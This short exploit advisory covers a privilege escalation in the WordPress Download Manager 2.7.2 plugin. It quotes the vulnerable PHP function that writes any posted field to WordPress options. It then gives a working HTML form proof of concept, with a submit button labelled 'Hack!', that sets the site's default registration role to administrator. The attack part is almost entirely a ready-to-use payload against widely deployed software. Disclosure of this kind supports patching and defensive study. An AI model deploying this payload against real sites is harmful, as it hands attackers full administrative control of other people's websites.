WordPress Download Manager 2.7.2 - Privilege Escalation

[Void]

Every registered user can update every WordPress options using basic_settings() function.

function basic_settings()
{
if (isset($_POST['task']) && $_POST['task'] == 'wdm_save_settings') {

foreach ($_POST as $optn => $optv) {
update_option($optn, $optv);
}
if (!isset($_POST['__wpdm_login_form'])) delete_option('__wpdm_login_form');



die('Settings Saved Successfully');
}
include('settings/basic.php');
}

http://security.szurek.pl/wordpress-download-manager-272-privilege-escalation.html

2. Proof of Concept

Login as standard user (created using wp-login.php?action=register) then:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wdm_settings">
<input type="hidden" name="task" value="wdm_save_settings">
<input type="hidden" name="section" value="basic">
<input type="hidden" name="default_role" value="administrator">
<input type="submit" value="Hack!">
</form>



if u have questions Ask :D